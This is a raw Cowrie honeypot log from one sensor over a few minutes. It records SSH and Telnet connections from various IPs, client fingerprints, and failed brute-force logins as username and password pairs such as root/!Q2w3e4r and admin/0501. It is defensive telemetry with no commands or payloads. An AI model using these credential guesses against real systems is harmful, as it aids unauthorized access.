{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T08:34:11.371178Z","src_ip":"182.253.156.184","session":"4659c9cd7189","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T08:34:11.617741Z","src_ip":"182.253.156.184","session":"4659c9cd7189","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"!Q2w3e4r","message":"login attempt [root/!Q2w3e4r] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T08:34:12.636748Z","src_ip":"182.253.156.184","session":"4659c9cd7189","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T08:34:13.886699Z","src_ip":"182.253.156.184","session":"4659c9cd7189","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":120.00393414497375,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T08:34:34.021456Z","src_ip":"79.139.59.21","session":"49795a79e7bc","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"80.66.85.226","src_port":48114,"dst_ip":"10.17.0.5","dst_port":22,"session":"8b31de849377","protocol":"ssh","message":"New connection: 80.66.85.226:48114 (10.17.0.5:22) [session: 8b31de849377]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T08:35:11.185419Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T08:35:11.190768Z","src_ip":"80.66.85.226","session":"8b31de849377","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T08:35:11.291036Z","src_ip":"80.66.85.226","session":"8b31de849377","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"tolya11","message":"login attempt [root/tolya11] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T08:35:11.577732Z","src_ip":"80.66.85.226","session":"8b31de849377","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T08:35:12.675614Z","src_ip":"80.66.85.226","session":"8b31de849377","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"79.139.59.21","src_port":59558,"dst_ip":"159.203.135.109","dst_port":23,"session":"d146a29773e3","protocol":"telnet","message":"New connection: 79.139.59.21:59558 (159.203.135.109:23) [session: d146a29773e3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T08:35:33.245970Z"}
{"eventid":"cowrie.session.connect","src_ip":"182.253.156.184","src_port":34254,"dst_ip":"159.203.135.109","dst_port":22,"session":"f21460eb4286","protocol":"ssh","message":"New connection: 182.253.156.184:34254 (159.203.135.109:22) [session: f21460eb4286]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T08:35:43.213298Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T08:35:43.218205Z","src_ip":"182.253.156.184","session":"f21460eb4286","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T08:35:43.463035Z","src_ip":"182.253.156.184","session":"f21460eb4286","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"systemd","password":"Voidsetdownload.so","message":"login attempt [systemd/Voidsetdownload.so] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T08:35:44.463684Z","src_ip":"182.253.156.184","session":"f21460eb4286","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T08:35:45.711569Z","src_ip":"182.253.156.184","session":"f21460eb4286","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"193.228.128.84","src_port":34634,"dst_ip":"10.17.0.5","dst_port":22,"session":"e81940df2df7","protocol":"ssh","message":"New connection: 193.228.128.84:34634 (10.17.0.5:22) [session: e81940df2df7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T08:35:47.743794Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T08:35:47.756697Z","src_ip":"193.228.128.84","session":"e81940df2df7","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T08:35:47.858957Z","src_ip":"193.228.128.84","session":"e81940df2df7","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"danila123","message":"login attempt [root/danila123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T08:35:48.166706Z","src_ip":"193.228.128.84","session":"e81940df2df7","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T08:35:49.272944Z","src_ip":"193.228.128.84","session":"e81940df2df7","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"77.94.47.83","src_port":46286,"dst_ip":"10.17.0.5","dst_port":22,"session":"171095738c6a","protocol":"ssh","message":"New connection: 77.94.47.83:46286 (10.17.0.5:22) [session: 171095738c6a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T08:35:51.074206Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T08:35:51.079718Z","src_ip":"77.94.47.83","session":"171095738c6a","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T08:35:51.192045Z","src_ip":"77.94.47.83","session":"171095738c6a","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"john123","message":"login attempt [root/john123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T08:35:51.524269Z","src_ip":"77.94.47.83","session":"171095738c6a","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"2.57.121.112","src_port":24189,"dst_ip":"10.17.0.5","dst_port":22,"session":"6f568627b0f7","protocol":"ssh","message":"New connection: 2.57.121.112:24189 (10.17.0.5:22) [session: 6f568627b0f7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T08:35:52.483797Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-PuTTY_Release_0.83","message":"Remote SSH version: SSH-2.0-PuTTY_Release_0.83","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T08:35:52.538242Z","src_ip":"2.57.121.112","session":"6f568627b0f7","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"57446c12547a668110aa237e5965e374","hasshAlgorithms":"ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","ssh-dss"],"encCS":["aes128-ctr","aes192-ctr","aes256-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 57446c12547a668110aa237e5965e374","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T08:35:52.815316Z","src_ip":"2.57.121.112","session":"6f568627b0f7","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.9","message":"Connection lost after 1.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T08:35:52.971232Z","src_ip":"77.94.47.83","session":"171095738c6a","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"05011998","message":"login attempt [admin/05011998] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T08:35:53.267200Z","src_ip":"2.57.121.112","session":"6f568627b0f7","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"0501","message":"login attempt [admin/0501] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T08:35:54.375088Z","src_ip":"2.57.121.112","session":"6f568627b0f7","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"0426","message":"login attempt [admin/0426] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T08:35:55.484153Z","src_ip":"2.57.121.112","session":"6f568627b0f7","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"0421","message":"login attempt [admin/0421] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T08:35:56.594367Z","src_ip":"2.57.121.112","session":"6f568627b0f7","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"0418","message":"login attempt [admin/0418] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T08:35:57.701597Z","src_ip":"2.57.121.112","session":"6f568627b0f7","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"165.22.57.101","src_port":38690,"dst_ip":"159.203.135.109","dst_port":23,"session":"ad5c44c0bc85","protocol":"telnet","message":"New connection: 165.22.57.101:38690 (159.203.135.109:23) [session: ad5c44c0bc85]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T08:35:58.096505Z"}
{"eventid":"cowrie.session.closed","duration":"6.3","message":"Connection lost after 6.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T08:35:58.809114Z","src_ip":"2.57.121.112","session":"6f568627b0f7","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"51.250.105.222","src_port":40628,"dst_ip":"159.203.135.109","dst_port":22,"session":"a660cf7f349f","protocol":"ssh","message":"New connection: 51.250.105.222:40628 (159.203.135.109:22) [session: a660cf7f349f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T08:36:11.251097Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T08:36:11.256538Z","src_ip":"51.250.105.222","session":"a660cf7f349f","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T08:36:11.382090Z","src_ip":"51.250.105.222","session":"a660cf7f349f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Forten1883","message":"login attempt [root/Forten1883] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T08:36:11.757439Z","src_ip":"51.250.105.222","session":"a660cf7f349f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T08:36:12.884600Z","src_ip":"51.250.105.222","session":"a660cf7f349f","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.82.132.16","src_port":38082,"dst_ip":"159.203.135.109","dst_port":22,"session":"093b0c37a137","protocol":"ssh","message":"New connection: 103.82.132.16:38082 (159.203.135.109:22) [session: 093b0c37a137]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T08:36:58.622533Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T08:36:58.626817Z","src_ip":"103.82.132.16","session":"093b0c37a137","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T08:36:58.888632Z","src_ip":"103.82.132.16","session":"093b0c37a137","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"napoli","message":"login attempt [root/napoli] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T08:36:59.677025Z","src_ip":"103.82.132.16","session":"093b0c37a137","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T08:37:00.941545Z","src_ip":"103.82.132.16","session":"093b0c37a137","protocol":"ssh"}
